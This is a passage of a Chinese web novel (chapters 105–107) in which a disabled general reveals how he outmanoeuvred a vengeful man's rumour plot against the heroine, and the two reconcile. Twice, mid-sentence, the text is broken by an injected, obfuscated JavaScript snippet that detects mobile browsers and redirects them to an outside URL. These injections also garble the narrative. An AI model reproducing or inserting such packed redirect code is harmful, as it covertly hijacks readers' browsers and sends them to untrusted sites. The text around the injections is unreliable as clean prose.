“那个女人,我一直就觉得不是什么省油的灯,有哪个正经女子会像她那样整日对男子曲意逢迎,主动勾引,不知羞耻为何物!等对方有反应了,她又若即若离,欲擒故纵,吊人胃口,手段如此娴熟,想必定是对不少男子使过,果真是个狐狸精!亏得少爷果断赶走了她,若是继续留在身旁,日后还不知会出什么事!”荣祥憋了一肚子火,终于义愤填膺地发泄起来,他站在温其玉身侧,一边骂着,一边不住地挥着拳。 陈阳看他竟气成这样,继续火烧浇油:“小兄弟你说得对,那就是她的惯用伎俩,对她来讲,什么东西都是可以拿来换前途的!” 荣祥更气愤了,手紧握在轮椅扶手上,骨节都握得发白,低头对轮椅上的人咬牙切齿道:“少爷,您这次定要让这个蛇蝎女子付出代价!” “可否多嘴问一句,你预备如何让她失去一切?”温其玉并没有荣祥那么激动,他的语气很平静,平静得让陈阳有些拿不准他的心思。 陈阳思考片刻,还是决定对温其玉实话实说,毕竟他人已经坐在这间屋子里,眼前的人也是他对付叶之萤唯一的武器,不管有几成把握,他都没有回头路可选了,而自己之所以主动来这里,不也是坚信温其玉在了解陈如的经历后,一定会动恻隐之心吗? “我原本是打算在沈氏布庄的新品发布会现场将她那些事公之于众的。”他说。 “可是如果这样做,你的真实身份也会跟着曝光。”温其玉已然看穿了他的想法。 “是,所以我想请温公子出面,在那日发布会现场对外披露她对你所做的恶行!” “杨公子,我希望你明白,首先,我之所以隐居在这边境小城,就是不想再抛头露面,自是不愿因此事闹得人尽皆知。其次,她与我相处期间,也并未做什么十恶不赦之事,不过就是些献媚勾引的小把戏,我又该披露她什么恶行?最后,即便我真如你所愿这样做了,岂不是又把沈氏布庄也无故牵连进去,让沈老板成了全黎城的百姓茶余饭后的笑料?莫非沈老板也做过什么对不起杨公子的事吗?”轮椅上的人皱了皱眉,对他的计划不甚满意。 “沈氏刚刚出头,大有抢占福裕绸庄生意的苗头,此刻打压一下,不是正和了福裕绸庄的意?” “生意上的事,讲究公平竞争,况且沈氏布庄从来不是福裕绸庄的竞争对手,又何来打压一说?为达目的牵连无辜之人,我认为杨公子的计划不妥。”他艰难地调整了一下坐姿,右手抵上扶手使劲一推,让自己不知不觉间已经向右偏去的身体稍稍回正。只这一个动作,他就轻喘起来。 陈阳本就对这个计划犹犹豫豫,下不了手,原因亦是不愿牵连无辜之人。只是由于复仇心切,实在顾不得那么多了,如果这次心软放过叶之萤,重新再找机会可就难了。已经六年过去了,他是一天也见不得她继续逍遥法外了。 可没想到温其玉也不赞同他的做法,这下好不容易坚定起来的心又动摇起来。随意伤害无辜之人,自己岂不是跟那个不择手段的叶之萤成了一类人?那是万万不可的,他陈阳是个坦荡之人,绝不做伤天害理的事。虽说算计了叶之萤,但那也是叶之萤应得的!于是问道:“那温公子的意思是?” “何须如此麻烦!于她而言,只消一个流言就足以让她在黎城无法立足,至于流言的真假根本不重要,所以你只需将她所做之事稍加改动,再以书信形式悄悄送给沈氏布庄邀请名单中那些人,届时,不论你说的是真是假,她的名声都将被败坏,众人一旦对她心生厌弃,她在黎城自然再无法立足。” 105. 真相大白 这事竟然是温其玉出的主意! 叶之萤的心几乎痛得无法呼吸。她没有想到,自己和他也算同甘共苦的走过一段路,他竟然恨自己至此? “所以,那天阿力特意去布庄看我,也是你的安排吧?就是为了套出发布会的邀请名单。”她甚至还荒唐地在心里幻想过,是他命阿力去看望她的。但她也不算猜错,阿力确实是他派去的…… 且不说这一切都是假的,即使她真的恶贯满盈,但她好歹救过他,为他以身试毒,帮他找到解药,这些都是实实在在为他做过的事,他怎么会这么狠? 她瘫软的身体倚在书桌的边缘,不停地向下滑。 温其玉的目光越过她,看向她身后跪着的陈阳,就在她以为他会为自己的行为悔恨时,他却说:“杨公子,此事尚有回旋,未到悔极之时。” 叶之萤瘫软的身子瞬间打直,这回轮到她糊涂了。 陈阳也是一惊:“温少爷,你这是何意?” 温其玉看了一眼阿力,阿力便心领神会从衣服里掏出一封信:“陈公子,你看看这是你送出的信吗?” 陈阳接过信,先翻看了纸张,又仔细查看了信里面的内容,点头道:“没错,可是……难道……难道你……不对呀,我派的人可是亲手把信送到大家手中的,所有的信应该都送出去了,怎么会有一封在你手里?” “因为我已提前将信封里的内容换掉了。”温其玉道。 “换掉了?何时换的?”陈阳难掩喜色。 “昨个半夜,趁你的人睡觉时。”阿力抢着答。 “换成什么了?那为什么今日大家还是都没去?” 温其玉笑道:“不过是以沈氏布庄的名义通知大家,由于黎城的秋菊还未开及最盛,因此发布会推迟至十月初五,届时香衣与秋菊同赏,岂不美哉?” 他坐在轮椅中,一袭玉色长袍,从容不迫,不急不躁,一切都在他的掌控之中。虽然坐了很久,背却一直挺得很直,有种不自然的僵硬,他看着叶之萤笑,目光恰如月光般温柔,安抚着叶之萤那颗动荡的心。 “我以为你会一直相信我。”他的身子微微前倾,似是想要到她面前,却被困在椅子上动弹不得,语气中透着些许委屈。 被逼得几近疯狂的叶之萤霎时间喜极而泣,泪水倾泻而下,怎么擦也擦不完。 温其玉朝她抬起右手,她绕过宽大的书桌跑到了他身边。 “你吓死我了!我以为你真的和他一起对付我,我以为你真的信他不信我,你知不知道,我已经打算去跳雁湖了!”她一边哭诉,一边蹲在轮椅旁用手捶打他的腿,结果两条腿全都被她从踏板上打到了地上。她怕打坏了它们,这才停了手。 “这么快就发泄好了?”他的手轻抚着她的发丝,毫不在意她的捶打。 “没肉,硌得手疼!”她提溜着那两条腿又给他重新摆了回去。 “温公子,你当真从来没有怀疑过夜莺?即使看到照片和那些字也没怀疑过?”温其玉对叶之萤的信任程度远超陈阳想象,以至于他想不通为什么在显而易见的证据下温其玉还是愿意相信她。 “从未。”只简单两个字,叶之萤的眼泪就又决堤了。 温其玉抬起右手,为她擦掉了脸上的泪水,又道:“我与叶姑娘相识的时间虽不如你长,但与她相处的每一刻,我都用心在了解她,我信自己的判断,不会因旁人说什么而改变。我认识的叶之萤,绝不会做那样的事!” 说话时,他的目光始终停在叶之萤脸上,眼含笑意,吐字清楚而坚定。那日在街上,他也是这样跟她说的,而他也确实是这样做的。只是叶之萤却没能像他信她那样始终如一地信他,即使他说过多次要相信他,她还是怀疑他了。 “这件事本就不难判断,只因那个人是你的妹妹,亲情的绑架让你失去了理智的判断,才一步一步走向偏执。”他的语气始终缓缓的,不急不躁,也并无对陈阳的半分指责,说到最后,甚至还瞥了荣祥一眼,荣祥立马不好意思地低下头去。 “温公子,这次多亏你及时制止了这件事,才不至于酿成大祸!是我被仇恨蒙蔽了双眼,若不是你暗中出手,我……我真是要以死谢罪了!” 叶之萤听他这么说,立马接上了他的话:“哼!以死谢罪?你想得美!这么容易就死了,难泄我心头之恨!我会让你求生不得求死不能,先把你身上的肉千刀万剐,再砍掉手脚做成人彘!” 轮椅上的人眼睛瞬间睁得老大,而后惶惶道:“果然心狠手辣。” 她理直气壮地反问:“他都这样害我了,我折磨他怎么了?” 温其玉笑道:“这不是没害成吗?消消气!”他拍了拍她的后背,又对仍跪在地上的陈阳说,“陈公子,若是你当时躲在暗处不暴露身份,我们未必能阻止得了你,但你终究生性坦荡,我们才有机会防备。后来也是因你不愿牵连无辜,才会听信我的建议。你并非狠辣之人,此事本是你与叶姑娘之间的事,我不便再插手,还是你们二人解决吧。” 叶之萤一听这话,心里也有些纠结,事已至此,所有误会都解开了,好像也没什么需要解决的了。但如果就这么放了陈阳走,又有些不甘心。 “夜莺,我以为你这些年当上了大明星,日子肯定过得很好,我真的没想到,小如她会一直诽谤你,让你承受了那么多辱骂和误解,甚至……甚至害死了你。而我居然还这样对你,我真不是人,我不是人!对不起!对不起!对不起!”陈阳跪在地上,一边道歉一边狠扇自己巴掌,鼻涕眼泪糊成一坨。 叶之萤拉住他的手腕,不让他再打下去:“陈阳,陈如是陈如,你是你。我的确恨陈如让我失去了一切,但我如今生活得不错,我的心不想再被过去的仇恨填满,上辈子的事,就让它跟大明星叶之萤一起留在上辈子吧。这一世,我只想高高兴兴地活。至于你,我也不想再追究了,算了吧!” 陈阳听完这番话哭得更厉害了,很久之后,他才用衣袖草草抹了一把脸,抽泣道:“夜莺,我们兄妹对你造成了如此大的伤害,即使你不追究,我也不能就这样算了,否则我一辈子都会受到良心的谴责。我不知道该怎么弥补我们全家对你的伤害,如果你愿意的话,让我做你哥哥,从今往后,我就是你在这里唯一的亲人。” 轮椅上的人脸色乍变。 说话的人却没有发现,反而越说越起劲:“你再也不是孤身一人在这里了,我会像以前那样,当你是妹妹那样照顾你、保护你。以后,我的家就是你的家,你从前很喜欢吃我做的饭,以后只要你想吃,我就为你做。对了,我今天回去就为你准备一间屋子,你随时都可以回来,住多久都行,或者……你干脆搬回家住吧?温公子这里始终不是自己家里,我……” “陈公子,叶姑娘在这里住得很好,这里就是她的家,她哪里也不去,也不需要你的保护。”温其玉终于听不下去,打断了陈阳的胡言乱语。他的脸色很冷,比刚才还要冷。 叶之萤也并不喜欢陈阳这样讨好自己,她警告他:“别把我当成陈如的替身!” “当然不是!我只是想尽我所能弥补你,给你一些帮助。”他又扭头对温其玉说,“温公子,你可知适应这里的生活有多难?我们要重新了解社会秩序,像个婴儿一样重新学习规则,甚至连已经根深蒂固的世界观都要打碎重新塑造。夜莺在这里并不是吃好喝好,有地方住,有人疼爱就够了的,她会想家、想亲人友人,想曾经生活的那个世界,这些你能理解她吗?她的过去你并不知晓,只是从她只言片语的描述中想象她的曾经,但是你永远也想象不出那是一个多么令人眷恋和神往的天堂。” 说话间,陈阳的眼中已经含满了热泪,他目光虔诚地望着远方,仿佛又一次踏上了那片神圣的土地。 温其玉眉头紧锁,他正在认真思考陈阳所说的话。陈阳口中所描述的是一个怎样的世界,他确实不知道,且永远也不会知道。 叶之萤拍了拍温其玉的肩膀,让他不要瞎想。 “你说得对也不对。”她对陈阳说。 “什么意思?”陈阳不解。 即使温其玉没亲眼见过那个花花世界,但他却是这世上唯一一个愿意走进她的心里、那个藏着她所有过去影像之处的人,他又怎会不懂她?他比这世上任何人都要懂她! “陈阳,我刚来这里的时候,确实很痛苦,甚至为了逃避现实而自杀过,但是温其玉他不仅安抚了我的痛苦,还教会我放下过往、面对现实,抛开那些掌控不了的东西,过好当下能掌控的生活。说到底,人不能总往回看,毕竟生命是条单行线,永远也调不了头。我现在在这里很好,看似失去了一切,但是有了他的陪伴,我觉得自己比以前更富有了!” 听到叶之萤这样说,温其玉绷紧的神经终于微微放松了些。 仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991728|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧跪在地上的陈阳却对此深感意外:“夜莺,你变了,成熟了,以前的你天天嚷嚷着要做内娱第一女明星,一颗心里装的全是事业,现在竟然也敞开心扉谈起了感情,看来你现在过得的确很幸福。” “你不知道娱乐圈催熟吗?”叶之萤也笑了起来。当年,他们就是坐在一张餐桌上,吃着陈阳做的水煮肉片,一边抱怨他是自己减肥路上的绊脚石,一边跟他绘声绘色地讲圈子里的八卦。 “那你后来当上内娱第一女明星了吗?” “当是当上了!不过吧……”叶之萤撇了撇嘴,“有些东西拥有了之后,就发现其实也就那样,都是虚名,生不带来死不带去的。你先起来吧,别跪着了。” 陈阳撑着身边的凳子踉跄着站了起来,咧着嘴活动了几下跪得发疼的膝盖道:“你现在讲话太有哲理,我都不习惯了。夜莺,好好考虑下我刚刚的提议,你在这里举目无亲,我也是。让我做你的哥哥,从此,我们在这里就都有亲人了。你不用觉得有什么负担,因为比起你为小如付出的那些,我做的这些都不算什么,给我个机会让我替她弥补你,好吗?” “不用考虑了,我同意!”随着叶之萤这句话说出口,温其玉的神经再度紧绷起来。 “当时第一次去你家,你就跟我说过,既然我跟陈如是好朋友,那你就也是我的哥哥。我当时在北京没有依靠,连住的地方都没有,是你带着我找房子,打扫房子,搬家具,还经常过去给我做饭,那两年多亏了你们的照顾,在我心里,其实当年就已经把你当哥哥了,只是一直没机会告诉你罢了。” 刚去北京时,虽然叶之萤还有名义上的男朋友,但他在南京她在北京,根本指望不上他什么。陈如和她签的同家经济公司,比她大两岁,又比她早进公司三个月。只是,她家就在北京。 当时,叶之萤才租了三个月不到的房子突然要拆迁,房东通知得急,她来不及找新房子,只能先拖着一大堆行李去住酒店。没想到在路上正好碰见了陈如一家,在得知她的情况后,陈如和她哥哥抢走了她的行李,硬把她拽上车,带回了自己家住,还不收她房租。 陈阳比陈如大两岁,当时在一家互联网公司当程序员,但平时的业余爱好竟是与本职工作毫不相干的历史和古代文学,李清照那首《丑奴儿》便是叶之萤在他书桌上的《宋词》里看到的,从此便记住了。 叶之萤厚着脸皮在她们家住了近一个月。陈阳每天下班后都开着那辆红色马自达带叶之萤满京城找房子,后来租到了一套非常合适的房子,只是没有电梯,又是他叫来自己的哥们儿一起充当骆驼,帮叶之萤把十来件大大小小的家具驮上五楼。 再之后,叶之萤和陈如关系越来越好,好得像连体婴一样,陈如去她那儿的次数甚至比回自己家的次数还多,有时候一住就是一个月。陈阳担心两个女生整天减肥身体会垮,于是一到周末就自带食材上门来给她们改善伙食。 不管任何时候回忆起来,那都是叶之萤在北京过得最开心的日子。 “那从此以后,我们就是一家人了!”面前的陈阳红了眼眶。他一直都是一个感性的人。 “不过……”叶之萤随即话锋一转,“认亲归认亲,这次的事情说到底是因你而起,发布会改了时间虽说没有太大的影响,但是也给沈老板带来了一些经济上的损失,还有十月初五的赏菊大会,原本计划是没有的,这些额外的支出你要承担的。” “你放心,这事我会妥善处理!还有一点,我的真实身份没人知道,连我家中妻子都不知道,还请温公子能替我保守秘密,对外,我依然只是杨宗明。” “好。若无其他事,杨公子请回吧。”温其玉看起来有些心烦,不知是不是身子早已支撑不住。 陈阳又对叶之萤交代:“夜莺,我的宅子就在杨家茶园旁,那里有大片的茶园,景色特别美,就像度假山庄一样。你若是在这里住腻了,家里随时欢迎你。我平时白天都在茶园,你要找我的话……” “阿力,”不等他把话说完,温其玉就不留情面地赶他走了,“送客!” 这么直白的赶客让陈阳面子有些挂不住,只好闭嘴咽下了后面的话,悻悻告辞了。 待陈阳走后,叶之萤也站起身来:“要是没什么事,我也走了。” 说完就要转身离开。 温其玉忙伸手拦在她身前,紧张地问:“你要走去哪儿?” 106. 雨过天晴 “回客栈啊,我付了一个月的房租,才住了十天,还有二十天呢!”叶之萤一把推开了他的胳膊,他却又抓住了她垂下的衣袖。 “你……”一向口齿伶俐的他竟也结巴起来。 “你有话要说吗?”叶之萤问他。 “让阿力跟你一起去,去把多付的房钱退了,然后,回家。”他低着头,委屈、倔强、着急……所有情绪全都写在了脸上。 “我不!”一秒钟都没有犹豫。 “你一人住在外面,不安全。”温其玉见她比刚才态度更强硬了,语气立马软下来了。 “不安全也住了十天了,也没见你关心啊?这会儿假惺惺装什么好人!”叶之萤又一把扯掉拉在自己袖子上的那只手,抓着扔回了他腿上。 “我……” “叶小姐,这你就真的冤枉少爷了!”阿力站出来替他说话,“少爷原本命我把城西宅子的钥匙给你,想让你暂时先住在那里,可你说什么也不要。只能派人贴身保护你,我和两名影子侍卫可是日日都跟着你的。” 原来那房子是温其玉的!阿力口中的影子侍卫就是整日跟着他们的那四位保镖。 “每天都跟着?我怎么没见过你们?”难道又误会温其玉了? “自然是不能让你发现。不过你也太能走了,日日都走两个多时辰,跟着你,我连脚底都磨出水泡了。”阿力一个没忍住,苦着脸抱怨起来。 她突然想起有两晚都看到窗外有人影,莫非就是他们? “你们是不是晚上在我窗户外面晃了?” “是啊,每晚都在你窗外守着。” “原来是你们啊!”叶之萤重重叹了口气,抱怨道,“我还以为外面有坏人,吓得我两个晚上都没敢睡觉!” 温其玉听她这么说,冷冷地瞪了阿力一眼。 阿力吓得一哆嗦,忙替自己狡辩:“那叶小姐看见的也……不一定是我,说不定是另外两人呢。” 原来温其玉一直派人暗中保护着她,怪不得那些日子走到哪里都觉得有人跟着,还以为是被绑架后遗症呢! 叶之萤看他面露痛楚之色,还硬撑着假装没事,也不忍心再说狠话了:“要不要去床上躺会儿?” 他反倒问她:“你不生我气了?” “我……”被他这么一问,叶之萤是气也不是,不气也不是,只能道,“你先躺床上去,我再走。” 轮椅上的人手扶着轮椅扶手,身体慢慢向她的方向靠近,叶之萤怕他摔下来,忙伸手护在他身前,他却稳稳停住了。 “那日赶你离开,实属情非得已,若是不那样做,杨宗明便不会那么快相信我,也不会将他的计划告之于我。至于连你也瞒着,只因荣祥当时冲动之下提起此事,而我又因药力未散无力阻止,便顺势而为。事后,我想既然事已至此,索性做足全套,以防被杨宗明发现我们不和是假,你能原谅我吗?” “嗯!”叶之萤勉强点了点头。之所以勉强,并不是因为不想原谅他,实际上她在知道真相那一刻就不怪他了,她只是还卸不下骄傲来与他和好。 “叶小姐,这次又是我鲁莽了,你……”荣祥站在那里,低着头,两只手来回搓着,局促得很。 一听见他说话,叶之萤的火就“蹭蹭”往头顶冒:“每次你都不信我!我见你辛苦,那天还特意买了枣糕给你,结果你那样对我,太伤我心了!” “对不起,我日后绝对不会再不信你了,真的!绝对不会了!”他越说越着急,感觉都快急哭了。 “哼,我不信!再有下次,你肯定还是第一个背叛我的人!” 阿力一听这话,捂着嘴在一旁偷笑。 “我……” “不过这次你也算错打错着,将功补过了!就再原谅你一次吧。” “谢叶小姐!” 叶之萤没再理他,转头问温其玉:“哎,你怎么知道这么做他就一定会相信你?万一他不信呢?” 他笑言:“他若是不信我,又为何主动来找我?” 嗯?她好像明白了他的话,又好像没有完全明白。 他还无法一直保持身体前倾的姿势,这会儿明显已经撑不住了,便用右手撑着扶手,想借力推一把,把上半身重新推回椅背上,却没能成功。 再次抬起眼时,他已是满脸疲态,却还是不肯放下固执,向身体低头服软。 于是叶之萤绕到他身后,主动推起他的轮椅就往床边走:“你先回床上躺着,再慢慢讲。” 阿力和荣祥帮他取下了支架,又将他抱到床上。叶之萤则识趣地背对他站着,回避着他不愿被她看到的脆弱一面。 在叶之萤的印象中,温其玉还从来没有因为身体原因主动示弱过,即使当时她被绑架,他为了救她日日奔波,苦撑好几天没休息,也能在她面前强打起精神。 就这么个似乎一阵风就足以吹散架了的身体,明明看起来什么都做不了,却偏偏做了那么多意想不到的事,仿佛这破败的身子底下还藏着让人意想不到的巨大能量,那能量无边无际、不可估量,让人永远也猜不到它的极限。 就好像你发现了一间年久失修的屋子,它早已没有了居住的功能,仅剩断壁残垣,摇摇欲坠。你以为它很快就会随着一阵狂风从这片土地上消失,可当一阵狂风刮过,它却还稳稳伫立在原地。不仅如此,当这里又迎来一场场狂风席卷、一阵阵暴雨冲刷,甚至一次次恐怖的地动山摇后,你惊喜地发现,它竟然还在那里,骄傲地昂着头。 那一梁一柱看似羸弱残缺、不济风雨,却通通在泥土里生了根,在你看不见的地下,那些根正兴奋地向四处延伸,盘根错节、张牙舞爪。它们牢牢嵌入土中,与这星球融为一体。而在你看不见的残垣之下,有排队搬家的蚂蚁,有悠闲织网的蜘蛛,甚至还有努力绽放的野草野花。它不仅没有坍塌,反而出乎意料地迎来了新生。 待阿力和荣祥都出门之后,叶之萤才转过身,来到了温其玉床边。看到他右手的衣袖不小心压在了身下,于是抬起他的右手,帮他把袖子拽了出来。 正当她准备把他的手放回去时,却发现那手腕上除了一条快愈合的割伤之外,还有一道深褐色的淤青,像是被什么东西撞到的,看颜色已经很多天了。他的身体血液循环不好,一旦受伤要比平常人好得慢许多。 “这是怎么回事?” 他一脸委屈:“叶姑娘还真是贵人多忘事!” “我弄的?”叶之萤愣在那里,很快就想起自己那天一怒之下甩开了他的手…… “怎么这么严重啊?我当时……没使这么大劲儿吧?”她垂下眼,轻抚着淤青的部位,心疼又心虚。 温其玉更无语了:“没使劲如何能成这样?莫非你想赖账?” 这话简直是羞辱叶之萤了:“谁说我要赖账,我敢做敢当,你说让我怎么赔吧!” 他倒是一副真要让她赔的样子:“待我好好想想。” “不对不对!”叶之萤这才反应过来因果关系,“是你先冤枉我的,要不是你不相信我,我能那么难过吗?所以你这是活该!还好意思让我赔?” “叶姑娘,若不是为了帮你解决杨宗明,我何以至此?如今你头顶的阴霾刚刚扫清,就说我是活该,你可是要过河拆桥?”见她反咬自己一口,温其玉也和她算起账来。 “那……哎呀,我说错了还不行吗!我赔你还不行吗!”在这件事情上,叶之萤实在是说不过他,这件事于情于理都不应该怪他的,“现在还疼吗?” “嗯。”他可怜兮兮地看着她,嘴角却露出狡黠的笑。 叶之萤把他的手一把扔回床上:“哟,士别三日,当刮目相待,这才十天没见,学会撒娇了!” 温其玉也不说话,只是看着她笑。 她故意逗他:“那要是再十天不见,说不定你还能学会其他什么新鲜玩意儿。再十天不见,说不定你都能站起来了!我倒有点好奇了,干脆我们试试吧?” 床上的人脸上的笑容瞬间收起,反问她:“你是不是想去杨宗明那儿住?” 她被他问得莫名其妙:“我去他那儿干什么?” 他把头别到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991729|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一侧,生起了闷气。 “噢……”她笑了起来,“原来是有人又吃醋啦!” 温其玉一向是个沉稳之人,如今却因为别人一句话就乱发脾气、乱吃飞醋,再被叶之萤一笑话,顿时脸上写满了尴尬。 见他难受,叶之萤也不再逗他,只是陈阳口中的茶园是什么样的,她还真想去见见。 “我还没见过茶园呢,倒是怪想去看看的。”她心想,等温其玉身体状态好的时间,他们可以一起去参观一下。 “叶之萤,你莫不是真动心了?”他扭过头来,慌张的目光直勾勾地盯着她的眼睛,像是要穿透她的眼球,寻找那藏在深处的答案。 说起来,他一直都是叫她“叶姑娘”的,不管他们之间进展如何,都始终保持这个充满尊重又有距离感的称呼,而现在却直呼她“叶之萤”,可见他是真的不高兴了。 但叶之萤着实没搞清他生气的点是什么,只是想去茶园看看,他怎么也这么大反应?又或许不是因为茶园,而是因为别的什么事生气? 她只好懵着头回答:“是啊,我是挺想去的。择日不如撞日,要不明天就去吧?” “你说真的?”他小心翼翼地问她,却不等她回答,又喃喃自语道,“你若真想去就去吧,等什么时候在那里住够了就回来。” 住够了?她愣了一下,这才反应过来,原来他还停留在上一个话题,以为她要去茶园住? 怪不得他的态度这么奇怪,原来是又吃醋了! “你不留我吗?”她顺势问他。 “我留不住你,也没资格留你,你想去便去吧。”他垂下眼去,语气淡淡的。 “那你想让我去吗?” 停了几秒钟,那双布满忧伤的眸子重新抬了起来:“不想。” 她使劲一拍他的肩膀:“你真是个傻瓜!分析陈阳的事分析得头头是道,怎么这事就想不明白了?我怎么可能会去他那儿住呢?我只是想去看看他的茶园而已,你想哪儿去了?” 他怔在那儿好久,在确认了叶之萤说的话是真的后,嘲笑起自己来:“叶之萤,我本以为自己已经很理智了,可却频频在你身上丧失理智,这样感情用事的我和杨宗明又有什么区别?” 叶之萤却并不赞同他这句话:“感情也不一定就是坏事啊。世人皆有情,这就是我们作为人,和海水、大树本质上的区别。我们的心可以依靠着另一颗心,我们的感情可以安放在另一个人的身上,我们的情绪可以被另一个人的一举一动、一言一行牵动着,能有幸拥有这样的体验,也是一种幸福,不是吗?” 温其玉看着她的目光更加深邃了,他在认真思考她说的话。 她继续道:“理性和感性并不是对立的,他们是可以共存的。陈阳爱妹妹并没有错,他只是错在在感情面前完全抛弃了理智,才在大是大非面前被仇恨蒙蔽了双眼。如果有一天我被人伤害了,我相信即使你很痛苦,也一定会做出理智而正确的决定,绝对不会像他一样的。” 谁知,温其玉一听这话就急了:“你在乱说什么?我不会让任何人伤害你!快去摸木头,说你刚刚说的话都不作数!” “我只是举个例子罢了。”她不以为然。 “那也不可!” 叶之萤是真没想到温其玉也会说这样的话,不免嫌弃起来:“你怎么还迷信呀!” 不过为了让他安心,她还是走到身后的桌旁,手摸着木桌,口中念叨着:“刚刚那些话都是我胡乱说的,全都不算数,求各路神仙只当耳旁风,千万别当真!可以了吧?” 温其玉看她虽是在应付差事,但不管怎样,也是照做了,这才放过了她。 叶之萤回到床边,又缠着他问:“好了,是时候给我讲讲你是从什么时候开始计划此事的了,也让我等小民见识一下大将军智计无双的风采吧。” 他早就习惯了她疯疯癫癫的样子,笑道:“好,那现在开始吧?” “洗耳恭听!” 原来,从第一次知道杨宗明开始,温其玉就在思考怎样替她拔掉这根刺了。 107. 坦诚相待 “这段时间,你与他的周旋始终陷入被动,他知你之虚实,你却完全不了解他,以致不知所守。若想反败为胜,反客为主,须知道他的真实身份和接近你的目的,才有可能掌握主动权。可他身份特殊,纵然我查得到他来这里后的所有信息,也始终无法了解他曾经是谁。” “没想到他主动送上门来了!”叶之萤不免嘲笑起陈阳的愚蠢,“但是我始终有一点没想通,他即使不找你,也可以在发布会现场当众拆穿我,又为何非要来找你坦白一切呢?” 他轻轻一挑眉,似是对她能想到这一点颇为意外,而后不好意思承认道:“‘能使敌人自至者,利之也。’那些日子,他听到了一些关于你我的事情。” “你我的事?”他的态度让叶之萤捕捉到了一些奇异的信息。 “就是……”一瞬间,扎眼的红色已然爬上他的耳垂,他的语气也从起初的自信变得吞吐起来,“他得知……我对你……迷恋至深,不可自拔,二人已经……好事将近。” “什么?”叶之萤大吃一惊,“你什么时候散播的谣言?我怎么不知道?” 他坦白道:“中秋那日,他见到你与我一起,见你过得不错,言语中充满了对你的恨意,我猜那时的他可能心中对于如何对付你还并没有周密的计划,所以只能时不时找找你的麻烦,以发泄心中的恨意。没过多久,你开始在全城宣传‘菱花裳’,我便借此机会,对你的名气稍稍推波助澜,一方面帮你宣传,一方面也是刺激杨宗明。与此同时,又将我与你不日便要成婚之事传入他耳中。他见你在这里过得风生水起,定会气急败坏,更加恨你入骨,想要毁掉你的欲望也到达了顶峰。经此一役,他想到了对付你的办法,就是在发布会现场当众揭穿你。但只是这样还不够,因为即使让你在黎城名誉扫地,只要你还有我,我们一起离开黎城去别的地方生活,他所制造的这场流言就不会对你有持续的影响。于是他意识到此事不光是要让你在黎城百姓面前出丑,还要让你永远失去我!” 叶之萤恍然大悟,怪不得陈阳要来找他。 “所以他一定会想方设法挑拨我与你的关系。结果和我料想的一样,那日我们在街上见到他,他果然已经按捺不住在我面前诋毁你,我看他已经上钩,便欲擒故纵,故意装作不理会他。而他见挑拨不成,为了使我信他,定会再来找我。那日,他果然主动登门,向我坦白了身份,还将陈如与你的事一并告知。我便将计就计。” “也就是说,看似是他主动找你,其实是你让他来找你的!”原来陈阳所走的每一步,都是在温其玉早已铺好的道路上,按他预设的轨迹而行。陈阳以为这一切都是自己的计划,殊不知自己只是系统中被提前设置好路径的NPC罢了,所有行为都在系统设计者的掌控之中。叶之萤不禁感慨上天造物的不公,为什么人和人之间的差距可以这么大! 以往,温其玉大部分时间都只能困于床上,或躺或坐,足不能行,手不能抬,连起身也要靠人帮忙,叶之萤只能靠着自己本身对将军的刻板印象在心中模糊而肤浅的绘制一个作为大将军的温其玉该有的威武模样。 但直到今日,她才头一次真正见识到他运筹帷幄、步步为营的手段。原来大将军不只是身着铠甲带兵在战场上厮杀,更是用冷静的头脑预判敌人的行为,提前做出正确的部署,请君入瓮。她才明白,原来一场战役的胜负并不一定在双方交锋后才能得出,有些战役在交战的那一刻其实就已经有了胜者。所以,即使温其玉无法再上战场厮杀,却依然能左右千里之外的战局。 温其玉并不知道她此时心里在想什么,只是看她若有所思,便继续解释道:“所谓先胜而后求战,就如同下棋,若只是走一步看一步,定然是赢不了的。” “温其玉,我对你的崇拜又加深了一层,你怎么这么厉害!简直是六边形战士!”她拉着他的胳膊感慨道。 “六边形?战士?”他眨了眨眼,这个词显然超出了他的理解范围。 “就是没有短板,方方面面都很强的意思。”她给他解释。 “你当真这样认为?”他的目光不自觉望向自己的腿,又很快看向别处。 “当然了!我早就跟你说过了,你是我这两辈子以来见过的最完美的男人,两辈子!你别不信我,我可是阅男无数的!” “阅男?”他又被她说的新奇词汇搞迷惑了。 “噢……就是,就是……”哎,又给自己挖坑了,“就是,接触过的男性非常多,毕竟我是演员嘛,总是会和男演员对戏。” “你不必觉得不好意思,我之前说过的,你过去做过什么,我都不在意,我在意的只是现在的你。”他倒是大方,还安慰起她来了。 “咳,我之前的经历确实算不上单纯。”叶之萤跟他坦白道,“就说我跟人假恋爱换资源这事儿吧,在我们那个圈子其实也很正常,不过当时我之所以同意其实还有另一个原因,你知道是什么吗?” 他笑着摇摇头,那态度分明是告诉她无论什么原因他都不在意。 “因为我长得好看,所以我接触到的那些资源,不少都直接表示如果想要得到角色,就必须接受他们的一些条件。我当时很痛苦,既不想接受那些恶心的条件,又想在娱乐圈站稳脚跟,我的经纪人骂我是在痴心妄想,她告诉我如果不想放下脸面和自尊,就趁早改行别做这行了。”她又想起了那段让自己痛苦万分的日子,苦笑道,“所以当那个姓王的跟我提出假恋爱时,我连一秒钟都没有犹豫就答应了,他在圈里地位高,只要成为他的女人,就没有人再敢明目张胆的对我提那些非分的要求了。” “你很聪明!”温其玉笑着夸奖她。 